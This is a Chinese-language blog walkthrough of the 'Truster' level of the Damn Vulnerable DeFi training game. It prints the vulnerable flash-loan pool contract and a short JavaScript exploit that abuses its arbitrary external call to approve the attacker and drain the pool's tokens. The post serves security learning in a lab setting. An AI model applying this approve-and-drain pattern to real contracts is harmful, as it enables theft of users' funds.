# Damn Vulnerable DeFi 第三关题解 **Published by:** [halo92.eth](https://paragraph.com/@halo92/) **Published on:** 2022-07-02 **URL:** https://paragraph.com/@halo92/damn-vulnerable-defi ## Content Damn Vulnerable DeFi是一个用于学习DeFi漏洞的闯关游戏,比起CTF来说,Damn Vulnerable DeFi更接近真实漏洞场景。 题目地址: https://www.damnvulnerabledefi.xyz/index.html 使用方法: 克隆仓库并切换到v2.1.0分支 使用yarn安装Node依赖 test文件夹中存放着对应每个题目的*.challenge.js文件来模拟合约的部署和攻击流程,我们需要补全相关代码来完成指定的攻击以跑通该单元测试(使用yarn run challenge-name来验证挑战是否完成) 第一关、第二关相对简单,略过。第三关相对有趣一点。 第三关Truster是一个借贷池子,该池子的floashloan函数可提供闪电贷功能。与常见的闪电贷不同,该函数并非借出贷款给msg.sender,而是可指定borrower。第二点不同就是,可以通过target.functionCall(data);使得该池子对任意合约发起调用。 题目目标:池子内存有100个代币,攻击者持有0个代币,攻击者需要将池子内的代币转移给自己。 题目源码: contract TrusterLenderPool is ReentrancyGuard {using Address for address; IERC20 public immutable damnValuableToken; constructor (address tokenAddress) { damnValuableToken = IERC20(tokenAddress); } function flashLoan( uint256 borrowAmount, address borrower, address target, bytes calldata data ) external nonReentrant { uint256 balanceBefore = damnValuableToken.balanceOf(address(this)); require(balanceBefore >= borrowAmount, "Not enough tokens in pool"); damnValuableToken.transfer(borrower, borrowAmount); target.functionCall(data); uint256 balanceAfter = damnValuableToken.balanceOf(address(this)); require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back"); } } 思考:想要抽干池子必然通过flashloan实现,那么必然要求该函数内的所有require通过,也就是说调用target.functionCall(data);不能使得池子的代币减少。 这里需要介绍一下ERC20。用户可通过常见的transfer进行自身代币的发送。但是有的情况下,比如当需要交易所完成代币的兑换的时候,这时候就需要第三方代替用户进行转移了,需要首先通过approve获取到用户一定数量代币的转移权限,然后调用transferFrom实现转移。 即下面两个方法: function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) function approve(address _spender, uint256 _value) public returns (bool success) 所以,这里的思路就比较清晰了,在target.functionCall(data); 将池子的权限授权给攻击者,然后攻击者调用transferFrom实现代币转移。 答案如下: js: it('Exploit', async function () { /** CODE YOUR EXPLOIT HERE */ // 构造approve(attacker, amount)的data const data = this.token.interface.encodeFunctionData("approve", [ attacker.address, TOKENS_IN_POOL ]); await this.pool.flashLoan(0, attacker.address, this.token.address, data); await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL); }); 警示:target.functionCall(data);这样的任意外部调用非常危险。 ## Publication Information - [halo92.eth](https://paragraph.com/@halo92/): Publication homepage - [All Posts](https://paragraph.com/@halo92/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@halo92): Subscribe to updates